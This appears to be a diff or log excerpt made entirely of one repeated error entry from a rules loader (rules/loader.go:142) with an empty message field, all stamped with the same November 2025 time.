+time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= 